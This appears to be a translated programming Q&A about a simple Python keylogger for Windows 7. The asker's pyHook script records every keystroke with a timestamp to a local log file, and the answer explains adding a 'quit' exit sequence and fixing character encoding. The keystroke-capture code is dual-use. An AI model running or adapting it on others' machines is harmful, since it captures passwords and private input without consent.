0

オンラインで見つけたスクリプトに基づいて、独自の単純なキーロガーを作成しています。ただし、このコマンドを入力するとロガー プログラムが終了するようにキー コマンドを記述しようとしています。これについてどうすればよいですか?(また、まったく安全ではないことは知っていますが、このプログラムでは問題ではありません)

たとえば、Ctrl + 'exit' はプログラムを閉じます。

また、作成する .log ファイルに特定の文字が正しく出力されないことがありますが、何が原因でしょうか? (文字エンコードタイプがこの問題を引き起こしている可能性があると思います)

#Key Logger
#By: K.B. Carte
#Version 1.0
################

import pythoncom, pyHook, sys, logging, time


LOG_FILENAME = 'C:\KeyLog\log.out'



def OnKeyboardEvent(event):
    keytime = time.strftime('%I:%M %S %p        %A %B %d, %Y            ')
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(message)s')

    logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'")
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

これはWindows 7にあります。

4

1 に答える 1

0

特定のコマンドで閉じるには、「quit」と言います...バッファを作成したいでしょう....ログに記録したものすべてをバッファに保持すると、簡単に実行できます

buff += newkeypress
if "quit" in buff[-4:]:
    logfile.close()
    sys.exit(0)

または、リストを使用して追加/ポップのようなことを行うことができます..または他のタイプの循環バッファ

ファンキーな文字の場合、すべてを 16 進数として出力したり、ascii 0 未満のイベント (\b やその他のファンキーな文字など) を無視したりする場合があります。

または .. ASCII テーブル (辞書) を作成し、キーの一致をログに記録します。\b を取得した場合は '' をログに記録し、'0' を取得した場合は '0' をログに記録します

于 2010-08-09T05:44:44.550 に答える